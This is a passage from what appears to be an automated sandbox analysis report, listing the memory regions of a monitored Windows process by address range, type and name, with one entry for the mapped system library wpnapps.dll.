0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5310 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 5311 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5312 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5313 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5314 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 5315 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5316 start_va = 0x7ffa0a3e0000 end_va = 0x7ffa0a482fff monitored = 0 entry_point = 0x7ffa0a3f4810 region_type = mapped_file name = "wpnapps.dll" filename = "\\Windows\\System32\\wpnapps.dll" (normalized: "c:\\windows\\system32\\wpnapps.dll") Region: id = 5317 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5318 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5319 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 5320 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5321 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5322 start_va = 0x10470000 end_va = 0x104effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010470000" filename = "" Region: id = 5323 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5324 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 5325 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5326 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5327 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5328 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 5329 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5330 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5331 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5332 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 5333 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5334 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5335 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5336 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 5337 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5338 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5339 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5340 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 5341 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5342 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5344 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5345 start_va = 0x104f0000 end_va = 0x1056ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000104f0000" filename = "" Region: id = 5346 start_va = 0x10570000 end_va = 0x105effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010570000" filename = "" Region: id = 5347 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5348 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 5349 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5350 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5351 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5352 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5353 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 5354 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5355 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5356 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5357 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 5358 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5359 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5360 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5361 start_va = 0x105f0000 end_va = 0x1066ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000105f0000" filename = "" Region: id = 5362 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5363 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 5364 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5365 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5366 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5367 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 5368 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5369 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5370 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5371 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5372 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5373 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5374 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5375 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5376 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5377 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5378 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5379 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5380 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5381 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5382 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5383 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5384 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5385 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5386 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5387 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5388 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5389 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5390 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5391 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5392 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5393 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5394 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5395 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5396 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5397 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5398 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5399 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5400 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5401 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5402 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5403 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5404 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5405 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5406 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5407 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5408 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5409 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5410 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5411 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5412 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5413 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5414 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5415 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5416 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5417 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5418 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5419 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5420 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5421 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5422 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5423 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5424 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5425 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5426 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5427 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5428 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5429 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5430 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5431 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5432 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5433 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5434 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5435 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5436 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5437 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5438 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5439 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5440 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5441 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5442 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5443 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5444 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5445 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5446 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5447 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5448 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5449 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5450 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5451 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5452 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5453 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5454 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5455 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5456 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5457 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5458 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5459 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5460 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5461 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5462 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5463 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5464 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5465 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5466 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5467 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5468 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5469 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5470 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5471 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5472 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5473 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5474 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5475 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5476 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 5477 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5478 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5479 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5480 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5481 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5482 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5483 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5484 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5485 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5486 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5487 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5488 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5489 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5490 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" 